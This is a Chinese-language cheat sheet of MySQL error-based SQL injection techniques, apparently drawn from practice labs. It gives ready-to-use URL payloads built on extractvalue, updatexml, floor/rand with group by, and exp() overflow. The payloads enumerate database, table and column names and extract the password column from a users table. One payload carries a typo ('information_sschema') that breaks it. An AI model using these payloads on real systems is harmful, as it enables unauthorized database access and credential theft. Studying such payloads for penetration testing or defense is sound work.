MYSQL报错注入
函数extractvalue(参数1,参数2)
使用条件:mysql版本5.1以上 有长度限制32位
参数1:XML文档,参数2:XPAT语句
用法: extractvalue(1,concat(0x7e,(select user()),0x7e))
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) -- -
当前数据库的表名:一次30个,第一次[1,30],[30,30],[60,30],[90,30],直到查完所有
?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema=database()),0x7e)) -- -
查询所有的数据库名称:
?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(schema_name),1,30)from information_schema.schemata),0x7e)) -- -
查询某数据库的表名
?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema='challenges'),0x7e)) -- -
查询某数据库里的某表的所有列名
?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(column_name),1,30)from information_schema.columns where table_schema='challenges' and table_name='c31po1u6je'),0x7e)) -- -
查询某表某列的数据
?id=1' and extractvalue(1,concat(0x7e,(select mid(group_concat(password),1,30)from users),0x7e)) -- -
函数:updatexml(参数1,参数2,参数3)
参数1:xml文档对象名称,参数2:xpath格式字符串,参数3:string格式替换查找到的符合条件数据
有长度限制32位
使用条件:5.1.5及以上版本
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
查询所有数据库名字
?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(schema_name),1,30)from information_schema.schemata),0x7e),1) -- -
查询某库下的所有表名
?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(table_name),1,30)from information_schema.tables where table_schema='challenges'),0x7e),1) -- -
查询某库下某表里的所有字段名
?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(column_name),1,30)from information_schema.columns where table_schema='challenges' and table_name='6omwp8lfij'),0x7e),1) -- -
查询某表里的某列具体数据
?id=1' and updatexml(1,concat(0x7e,(select mid(group_concat(password),1,30)from users),0x7e),1) -- -
函数:floor()
利用floor、count、group by三者起冲突导致报错,使用 三者不可缺一
使用条件:mysql 5.0及以上版本
长度限制:64位
floor() 取整数
rand() 在[0,1]产生一个随机数
rand(0)*2 取0到2的随机数
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_sschema.tables group by x) y)-- -
?id=1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询所有数据库名
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(schema_name),0x7e),1,64)from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询某数据库下的所有表,输出 security数据库下的所有表名
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(table_name),0x7e),1,64)from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询某表下的所有字段,输出security库下users表的所有字段
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(column_name),0x7e),1,64)from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
查询users表下的password字段数据
?id=1' and (select 1 from (select count(*),concat((select mid(group_concat(0x7e,(password),0x7e),1,64)from users),floor(rand(0)*2))x from information_schema.tables group by x) y)-- -
其他注入
函数:exp()整形溢出报错注入
条件:mysql 5.5.5及以上版本
and exp(~(select * from (select user()) a))
几何报错注入 geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()